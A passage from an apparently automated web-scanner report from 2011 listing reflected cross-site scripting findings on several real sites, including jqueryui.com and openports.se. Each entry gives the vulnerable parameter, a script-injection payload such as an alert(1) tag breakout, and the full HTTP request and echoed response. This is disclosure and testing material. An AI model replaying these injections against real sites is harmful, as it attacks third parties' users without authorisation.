GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans,%20Arial,%20sans-serif&fwDefault=bold&fsDefault=1.1em&cornerRadius=5px&bgColorHeader=5c9ccc&bgTextureHeader=12_gloss_wave.png&bgImgOpacityHeader=55&borderColorHeader=4297d7&fcHeader=ffffff&iconColorHeader=d8e7f36af50"><script>alert(1)</script>ead3b8dbb77&bgColorContent=fcfdfd&bgTextureContent=06_inset_hard.png&bgImgOpacityContent=100&borderColorContent=a6c9e2&fcContent=222222&iconColorContent=469bdd&bgColorDefault=dfeffc&bgTextureDefault=02_glass.png&bgImgOpacityDefault=85&borderColorDefault=c5dbec&fcDefault=2e6e9e&iconColorDefault=6da8d5&bgColorHover=d0e5f5&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=79b7e7&fcHover=1d5987&iconColorHover=217bc0&bgColorActive=f5f8f9&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=79b7e7&fcActive=e17009&iconColorActive=f9bd01&bgColorHighlight=fbec88&bgTextureHighlight=01_flat.png&bgImgOpacityHighlight=55&borderColorHighlight=fad42e&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Mon, 24 Jan 2011 22:40:19 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120176
The value of the iconColorHover request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a6a1f"><script>alert(1)</script>4dddf997355 was submitted in the iconColorHover parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans,%20Arial,%20sans-serif&fwDefault=bold&fsDefault=1.1em&cornerRadius=5px&bgColorHeader=5c9ccc&bgTextureHeader=12_gloss_wave.png&bgImgOpacityHeader=55&borderColorHeader=4297d7&fcHeader=ffffff&iconColorHeader=d8e7f3&bgColorContent=fcfdfd&bgTextureContent=06_inset_hard.png&bgImgOpacityContent=100&borderColorContent=a6c9e2&fcContent=222222&iconColorContent=469bdd&bgColorDefault=dfeffc&bgTextureDefault=02_glass.png&bgImgOpacityDefault=85&borderColorDefault=c5dbec&fcDefault=2e6e9e&iconColorDefault=6da8d5&bgColorHover=d0e5f5&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=79b7e7&fcHover=1d5987&iconColorHover=217bc0a6a1f"><script>alert(1)</script>4dddf997355&bgColorActive=f5f8f9&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=79b7e7&fcActive=e17009&iconColorActive=f9bd01&bgColorHighlight=fbec88&bgTextureHighlight=01_flat.png&bgImgOpacityHighlight=55&borderColorHighlight=fad42e&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Mon, 24 Jan 2011 22:42:37 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120176
<meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" /> <meta nam ...[SNIP]... t=85&borderColorDefault=c5dbec&fcDefault=2e6e9e&iconColorDefault=6da8d5&bgColorHover=d0e5f5&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=79b7e7&fcHover=1d5987&iconColorHover=217bc0a6a1f"><script>alert(1)</script>4dddf997355&bgColorActive=f5f8f9&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=79b7e7&fcActive=e17009&iconColorActive=f9bd01&bgColorHighlight=fbec88&bgTextureHighlight=01_flat.png&bgI ...[SNIP]...
4.170. http://jqueryui.com/themeroller/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://jqueryui.com
Path:
/themeroller/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9b042"><script>alert(1)</script>79a0a408cd7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?9b042"><script>alert(1)</script>79a0a408cd7=1 HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Mon, 24 Jan 2011 22:38:52 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 117121
The value of the bpid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 370cd'%3balert(1)//116a8eebeba was submitted in the bpid parameter. This input was echoed as 370cd';alert(1)//116a8eebeba in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the csid request parameter is copied into the HTML document as plain text between tags. The payload 5d167<script>alert(1)</script>44535fb0da9 was submitted in the csid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /gateway/gw.js?csid=K044915d167<script>alert(1)</script>44535fb0da9 HTTP/1.1 Host: js.revsci.net Proxy-Connection: keep-alive Referer: http://www.autobytel.com/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NETID01=TSeEzxMBEwoAABzXtKIAAAAt; udm_0=MLvv8iMJPj5n556Bo8jwxg27aVMsKvlZeh88v6LFxvi6NShB6ZO83AmHuP4JgK9bvgpJZgsqUaP2xfTnxNPh9+fmSEPkCVwJX705HIrDAdU6h9yhStmEjquZrguVeF3r0KH2OzLBVWAxUkwC4gAcARichgtw510EVacnhilf+8mRFAtdqKZBM6NUyjil0ZdVPRDqI+Ti+FIe6fewtlE9GinOst7C+rlOGLcLpjRwr3ZfMSayOJgkjwJdHiBSJ9kAcsoTnnNvaA7Xcb0oB88geiObO0gCWiOMGKuhN5NhpXa5wNJrUpjtCGmrVtVPNsrxL9ryWzajTucvw6SIgD8tYcWt49xZgaknzfQMm4nMuUr+qb1f+Ms3ek2Rc8bT/TWEYTevTxXB1YSJNhNpyO+5lLFTcDcxf+duWIK8eU0eIZAncGmWmIMN2HAprOXDL92vjPG5GfbTEfgpUERmJC38xypT/U/eZtb2YBNcle27OeZkVpQY88kycEdRsS0Ks4HLd9MJ6YiDUxLI3FUlyF0iCBOApuRiSn2zDur8XA1O6kZwXMP/vqnO/qlcm8YSMQteDyI8xTLOkrtw5XuzDTiehCDdIT5AUFXEVikG1xbWOf61/rLXUN710OVSlXuiKpp7slVOdtdIlvK5Ef2r/dR4A+dOCYr8QFU/PgPleGbyIL5+FSmkfzlkK9kpSlXIgokpHC3DmN7FSnZ4W681z5mM3+bkQyAQa1deCg6dY3j8xQBsPgkVRyyliBZ/BT5AfFB6Kt2bfoD+HZA9FOS08BLyiny5VyDBbEms9liC5Fs3TFj1lR+RyszTbus6ezqbVXF77t83kYCDwMJ+4srH8tO8ZoaqbVgfKSopwI144BcK1RceyhLfvKeO2mls6933wcTzEXOpWYxsjrgl5Q==; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d55a964&0&&4d2fe81e&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMd5U+DfxIU7WwyrNQb2zsSFn/hJiW258mwCPCWmcgin7Ykjm72mb7cpStB8YF3kI7TO6x7AobBweYSl9GZ0nXyMV0lFSlMa1jHrq+n9QT6FijETfViMfJgDyuBz0n8Hk28yO5p/fRuPzGtQPRkyu5Bc6axhObjT2cysIx+D4/NrHkSZpo4vk8w5l61U5SqdOiUvEeCZ5WrSLwN+Xq5aEPZSO2oX3vsODweKrIMy8p+ldR7d76u4sEt6RgWsfSNxtXQ1lt23lO4GrGh25UY7nMoVnrr5iAvFRtg24ViPVDowzcxt8eRODdcZiwbVc2np3WjZtoAJ1aO71nPtckWRa8VCRDcVPa+cMxvGtmbDEBHIOMyi8IUEWK0av0+4ojr1uh/umPt1bAaq4aUO4z8oENY7vBTaZSyETfDH8dVtshVbMqgt6mXZyMdxxn2bQSZVCIbYsSr7E1B995sZq2f+pJ2+M8K7OUr/r3a9SLKcxQ+lAR8cX83159adv1KgRuaALpGKRFQDil4cYbegCYXB33l6nFeV9R2FwBG2izy3Gm5I+NoOBfFFGboa7p0gM1gg8TrrRL1LoRP21v8OErLvjC/xINg6T9J1c15UckQKoakfMW6lVoLFukvaGPQXMQt3IlOXJncY9VGQY3BI0ThPnKoHx//VhhBBOENVxJVlKoRta67M24YVtuqylurRv9JKzlEWoYz0la7gmQzl6pSfsGHo6jvv6og5GuUjBC/UfRyPmP2YD/Z6MLNJ5s1pn32pCXBNuGqM/MWn0ix3FgHGlWpSEpv7Ru3AkJmVgjGyeuRwLBzeHzpYe8hv8Y=; rsi_segs_1000000=pUPFfUnF7gMUVVNGyQq6Tc2UE03EygBbRXVdvuFY1BA6MUfyIuV86Lli0TAjp7vTbarnvaHN9T2ow1lTs80IFRatyDifWyk9mf1Kh7aRP1Ys1ciYX3r+3g5rrIF04H4FAiutUjgMss6NEqGMIeSYHxakEN/DRePx1bwHrbhXzJD91WqT8N1pQYXg+GpVj1vtVjK1+AiwL4ScNYq0oKT0cw==; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d5ae6ff&0&&4d350f93&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBa40HAV7DEFZEdMKVl168Ne30F2LgIMllRLOj2CnyxLwSlYtMGPNUFv6UJ75S23vXs9VpSODtSfbRXbKeKsIfm/9vVCVRHq5E9dPOyJm5LyxhQ0JLpdlLRkRi1AuT5G8QYh4GpDTxObx7HqsmwclpQmx8PITjRXvTVnlGDfiP+KG3TuYhIgfdoMdRUNcxsYfj/XLnOWpzH6FblA==
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Last-Modified: Mon, 24 Jan 2011 22:00:49 GMT Cache-Control: max-age=86400, private Expires: Tue, 25 Jan 2011 22:00:49 GMT Content-Type: application/javascript;charset=ISO-8859-1 Date: Mon, 24 Jan 2011 22:00:48 GMT Content-Length: 128
/* * JavaScript include error: * The customer code "K044915D167<SCRIPT>ALERT(1)</SCRIPT>44535FB0DA9" was not recognized. */
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 62922'-alert(1)-'dfd10f1b18 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cmadj/cm.martini62922'-alert(1)-'dfd10f1b18/ HTTP/1.1 Host: k.collective-media.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript Content-Length: 7074 Date: Tue, 25 Jan 2011 16:32:24 GMT Connection: close Set-Cookie: JY57=CT; expires=Tue, 22-Feb-2011 16:32:24 GMT; path=/; domain=.collective-media.net Set-Cookie: cli=11de1c6a6c02b13; domain=collective-media.net; path=/; expires=Thu, 24-Jan-2013 16:32:24 GMT P3P: CP="DSP NOI ADM PSAo PSDo OUR BUS NAV COM UNI INT"
function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this. ...[SNIP]... <scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("cm-39156217_1295973144","http://ad.doubleclick.net//cm.martini62922'-alert(1)-'dfd10f1b18/;net=cm;u=,cm-39156217_1295973144,11de1c6a6c02b13,none,;;contx=none;dc=w;btg=?","0","0",true);</scr'+'ipt> ...[SNIP]...
4.174. http://k.collective-media.net/cmadj/cm.martini/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://k.collective-media.net
Path:
/cmadj/cm.martini/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7ad2e'-alert(1)-'58bb6c4d169 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cmadj/cm.martini/?7ad2e'-alert(1)-'58bb6c4d169=1 HTTP/1.1 Host: k.collective-media.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript Content-Length: 7078 Date: Tue, 25 Jan 2011 16:31:19 GMT Connection: close Set-Cookie: JY57=CT; expires=Tue, 22-Feb-2011 16:31:19 GMT; path=/; domain=.collective-media.net Set-Cookie: cli=11de1c5a8d8c269; domain=collective-media.net; path=/; expires=Thu, 24-Jan-2013 16:31:19 GMT P3P: CP="DSP NOI ADM PSAo PSDo OUR BUS NAV COM UNI INT"
function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this. ...[SNIP]... <scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("cm-59020176_1295973079","http://ad.doubleclick.net//cm.martini/?7ad2e'-alert(1)-'58bb6c4d169=1;net=cm;u=,cm-59020176_1295973079,11de1c5a8d8c269,none,;;contx=none;dc=w;btg=?","0","0",true);</scr'+'ipt> ...[SNIP]...
The value of the asite request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4105c"><script>alert(1)</script>e3d9cdcedea was submitted in the asite parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /w/win.bid?sid=54816&m=1&t=n&tp=5&d=f&mid=477674&EIC=1102509515205556&vch=554879014744&sys=3&evert=498003&vtid=14839&cb=1398482484&asite=20615019074105c"><script>alert(1)</script>e3d9cdcedea&txid=9eb0b645-887a-48fe-96d9-a8ec0d65be5c&UD=CQAA7FD8nj1AEQAAAID1_gM-GQAAACBWDx8-KAAwAQ&wp=TT4pUwACvIcK5XsjKRZgBOX45riQQ1x_qFMGTg&walsh=http://adclick.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DBhNNGUyk-TYf5CqP2lQeEwNnIAqmp2NwBybvEzxX5pf__EQAQARgBIAA4AVCAx-HEBGDJhqOH1KOAEIIBF2NhLXB1Yi0xMTg5MzcwNDA4OTk4NTU1oAGb5-foA7IBDmpvb21sYWNvZGUub3JnugEJNzI4eDkwX2FzyAEJ2gEyaHR0cDovL2pvb21sYWNvZGUub3JnL2dmL3Byb2plY3Qvam9vbWxhL3JlcG9ydGluZy-YAgrAAgTIAr23iA7gAgDqAhdKb29tbGFfSm9vbWxhY29kZUZvb3RlcqgDAegD8gPoA6gG6AM16AO5AugD2gX1AwAAAET1AwIAAADgBAE%26num%3D1%26sig%3DAGiWqtxXfy71xAYmo2tqD6PMiVjHwATbrg%26client%3Dca-pub-1189370408998555%26adurl%3D HTTP/1.1 Host: media.fastclick.net Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: zru=1|:1294800534|; lxc=AgAAAASMFi1NACAABHVydDE3IAfgBAADMwAAluAUHwEAAA==; lyc=BQAAAARmvzBNACAAARhFIASgAAaUMwAANhwpYBcBvUSgFCAABA49AAAZ4AoXQAABiw7gCS8ADSAvwAABaVrACSAAAksAAA==; pluto=517004695355|v1
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a383e"><script>alert(1)</script>608b3697d30 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2/B3DMa383e"><script>alert(1)</script>608b3697d30/DLX/1@x96 HTTP/1.1 Host: mig.nexac.com Proxy-Connection: keep-alive Referer: http://dm.de.mookie1.com/2/B3DM/DLX/11596989115@x92? Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: na_tc=Y
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 03:06:51 GMT Server: Apache/2.0.52 (Red Hat) Set-Cookie: OAX=rcHW800+PksAB3xJ; expires=Thu, 31-Dec-2020 23:59:59 GMT; path=/; domain=.nexac.com P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 326 Content-Type: text/html Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09419e5145525d5f4f58455e445a4a423660;path=/
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1dedf"><script>alert(1)</script>4b75d2381cc was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2/B3DM/DLX1dedf"><script>alert(1)</script>4b75d2381cc/1@x96 HTTP/1.1 Host: mig.nexac.com Proxy-Connection: keep-alive Referer: http://dm.de.mookie1.com/2/B3DM/DLX/11596989115@x92? Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: na_tc=Y
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 03:07:00 GMT Server: Apache/2.0.52 (Red Hat) Set-Cookie: OAX=rcHW800+PlQAC6bl; expires=Thu, 31-Dec-2020 23:59:59 GMT; path=/; domain=.nexac.com P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 326 Content-Type: text/html Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09419e9345525d5f4f58455e445a4a423660;path=/
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ac08c"><script>alert(1)</script>2742344f814 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2/B3DM/DLX/1@x96ac08c"><script>alert(1)</script>2742344f814 HTTP/1.1 Host: mig.nexac.com Proxy-Connection: keep-alive Referer: http://dm.de.mookie1.com/2/B3DM/DLX/11596989115@x92? Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: na_tc=Y
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 03:07:09 GMT Server: Apache/2.0.52 (Red Hat) Set-Cookie: OAX=rcHW800+Pl0ADgGc; expires=Thu, 31-Dec-2020 23:59:59 GMT; path=/; domain=.nexac.com P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 319 Content-Type: text/html Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09419e2045525d5f4f58455e445a4a423660;path=/
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5da8e"-alert(1)-"cced135207a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news5da8e"-alert(1)-"cced135207a/aub/x22 HTTP/1.1 Host: openports.se Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:47:41 GMT Server: Apache X-Powered-By: PHP/5.2.10 Connection: close Content-Type: text/html Content-Length: 11500
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> <head> <title>OpenP ...[SNIP]... target_id = sajax_target_id; if (typeof(sajax_request_type) == "undefined" || sajax_request_type == "") sajax_request_type = "GET";
uri = "http://openports.se/view_port.php?path=/news5da8e"-alert(1)-"cced135207a/aub/x22"; if (sajax_request_type == "GET") {
if (uri.indexOf("?") == -1) uri += "?rs=" + escape(func_name); else uri += "&rs=" + escape(func_name); uri += "&rst=" + escap ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload db95b"><script>alert(1)</script>12bc1ff0ef5 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /news/aubdb95b"><script>alert(1)</script>12bc1ff0ef5/x22 HTTP/1.1 Host: openports.se Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:48:01 GMT Server: Apache X-Powered-By: PHP/5.2.10 Connection: close Content-Type: text/html Content-Length: 11776
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> <head> <title>OpenP ...[SNIP]... <a href="http://openports.se/news/aubdb95b"><script>alert(1)</script>12bc1ff0ef5/x22"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5972f"-alert(1)-"a9f703dfef8 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/aub5972f"-alert(1)-"a9f703dfef8/x22 HTTP/1.1 Host: openports.se Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:48:04 GMT Server: Apache X-Powered-By: PHP/5.2.10 Connection: close Content-Type: text/html Content-Length: 11740
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> <head> <title>OpenP ...[SNIP]... arget_id = sajax_target_id; if (typeof(sajax_request_type) == "undefined" || sajax_request_type == "") sajax_request_type = "GET";
uri = "http://openports.se/view_port.php?path=/news/aub5972f"-alert(1)-"a9f703dfef8/x22"; if (sajax_request_type == "GET") {
if (uri.indexOf("?") == -1) uri += "?rs=" + escape(func_name); else uri += "&rs=" + escape(func_name); uri += "&rst=" + escape(sa ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3971d"><script>alert(1)</script>61eba753576 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /news/aub/x223971d"><script>alert(1)</script>61eba753576 HTTP/1.1 Host: openports.se Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:48:24 GMT Server: Apache X-Powered-By: PHP/5.2.10 Connection: close Content-Type: text/html Content-Length: 11781
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> <head> <title>OpenP ...[SNIP]... <a href="http://openports.se/news/aub/x223971d"><script>alert(1)</script>61eba753576"> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload efd55"-alert(1)-"8cf2fde9a94 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/aub/x22efd55"-alert(1)-"8cf2fde9a94 HTTP/1.1 Host: openports.se Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:48:30 GMT Server: Apache X-Powered-By: PHP/5.2.10 Connection: close Content-Type: text/html Content-Length: 11745
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> <head> <title>OpenP ...[SNIP]... t_id = sajax_target_id; if (typeof(sajax_request_type) == "undefined" || sajax_request_type == "") sajax_request_type = "GET";
uri = "http://openports.se/view_port.php?path=/news/aub/x22efd55"-alert(1)-"8cf2fde9a94"; if (sajax_request_type == "GET") {
if (uri.indexOf("?") == -1) uri += "?rs=" + escape(func_name); else uri += "&rs=" + escape(func_name); uri += "&rst=" + escape(sajax_ ...[SNIP]...
4.184. http://openports.se/news/aub/x22 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://openports.se
Path:
/news/aub/x22
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5d2c2"-alert(1)-"86792ffaf77 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
